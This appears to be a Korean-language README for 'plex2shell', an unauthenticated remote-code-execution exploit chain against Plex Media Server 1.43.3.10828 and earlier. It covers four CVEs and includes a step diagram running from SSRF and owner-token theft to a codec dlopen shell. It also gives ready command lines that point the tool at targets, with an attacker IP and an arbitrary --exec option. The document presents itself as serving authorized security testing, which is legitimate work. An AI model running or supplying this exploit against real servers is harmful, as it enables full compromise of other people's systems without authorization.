
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
Plex Media Server 1.43.3.10828 및 이전 버전을 위한 인증 불필요 RCE 체인입니다.
CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
기술 문서: https://zmain.info/blog/plex2shell
이 도구는 승인된 보안 테스트, 학술 연구, 그리고 방어 목적으로만 공개됩니다. 본인이 소유하거나 테스트에 대한 명시적 서면 허가를 받은 시스템에만 사용하십시오. 저자는 이 도구로 인한 오용이나 손해에 대해 책임지지 않습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
| CVE | 기본 요소 |
|---|---|
| CVE-2026-96652 | /player/timeline protocol=을 통한 인증 불필요 SSRF |
| CVE-2026-96654 | 루프백 피벗: 무력화된 인증 가드 + searchOne identifier= 주입 |
| CVE-2026-96655 | 소유자 인증 트랜스코더 SSRF + 임의 경로 파일 쓰기 (dump-yuv) |
| CVE-2026-96656 | Codecs set-dir에서 서명되지 않은 코덱 dlopen을 통한 코드 실행 |
[일반 인터넷, 쓰레기 토큰]
|
(1) /player/timeline --- SSRF ---> 루프백 오리진
|
(2) /system/agents/.../searchOne --- identifier= 주입 --->
| 플러그인 간 RPC
|
(3) networking.py:149 --- 127.0.0.1.* 접두사 혼동 --->
| 소유자 관리자 토큰 유출
v
공격자가 OWNER 관리자 토큰을 보유
|
(4) /video/:/transcode/universal?path=<url> --- 트랜스코더 SSRF --->
| 공격자 미디어 가져오기
|
(5) TranscoderH264Options=dump-yuv --- x264가 공격자 ELF를
| Codecs set-dir에 기록
v
두 번째 트랜스코드 -> 모든 *.so를 dlopen() -> 생성자 실행
v
[uid=1000(plex)]
페이로드는 무손실(qp=0) 캐리어의 프레임 0 루마이며, 이는
ffmpeg, gcc (Windows 대상의 경우 x86_64-w64-mingw32-gcc)# Linux 네이티브 (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# 원샷:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
그 밖의 모든 옵션은 --help를 참조하십시오.
GPLv3